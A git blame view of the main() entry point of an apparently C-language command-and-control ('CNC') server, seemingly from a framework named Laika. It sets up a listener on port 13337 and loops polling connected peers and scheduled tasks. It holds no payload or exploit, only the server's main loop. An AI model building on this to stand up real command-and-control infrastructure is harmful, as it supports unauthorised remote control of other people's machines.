2022-01-25 03:46:29 +00:00
|
|
|
#include <stdio.h>
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
#include "ltask.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "cnc.h"
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
struct sLaika_taskService tService;
|
|
|
|
|
2022-02-17 23:24:46 +00:00
|
|
|
/*void debugTask1(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
|
|
|
printf("hello 1 !\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
void debugTask2(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
|
|
|
printf("hello 2 !\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
void debugTask3(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
|
|
|
printf("hello 3 !\n");
|
2022-02-16 23:58:07 +00:00
|
|
|
}*/
|
2022-02-04 19:15:06 +00:00
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
int main(int argv, char **argc) {
|
|
|
|
struct sLaika_cnc *cnc = laikaC_newCNC(13337);
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
laikaT_initTaskService(&tService);
|
2022-02-17 23:24:46 +00:00
|
|
|
/*laikaT_newTask(&tService, 1000, debugTask1, NULL);
|
|
|
|
laikaT_newTask(&tService, 500, debugTask2, NULL);
|
|
|
|
laikaT_newTask(&tService, 2000, debugTask3, NULL);*/
|
2022-02-04 19:15:06 +00:00
|
|
|
|
2022-01-25 03:46:29 +00:00
|
|
|
while (true) {
|
2022-02-04 19:15:06 +00:00
|
|
|
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
|
|
|
|
laikaT_pollTasks(&tService);
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
2022-02-17 23:38:34 +00:00
|
|
|
laikaT_cleanTaskService(&tService);
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaC_freeCNC(cnc);
|
|
|
|
LAIKA_DEBUG("cnc killed\n");
|
2022-01-25 03:46:29 +00:00
|
|
|
return 0;
|
|
|
|
}
|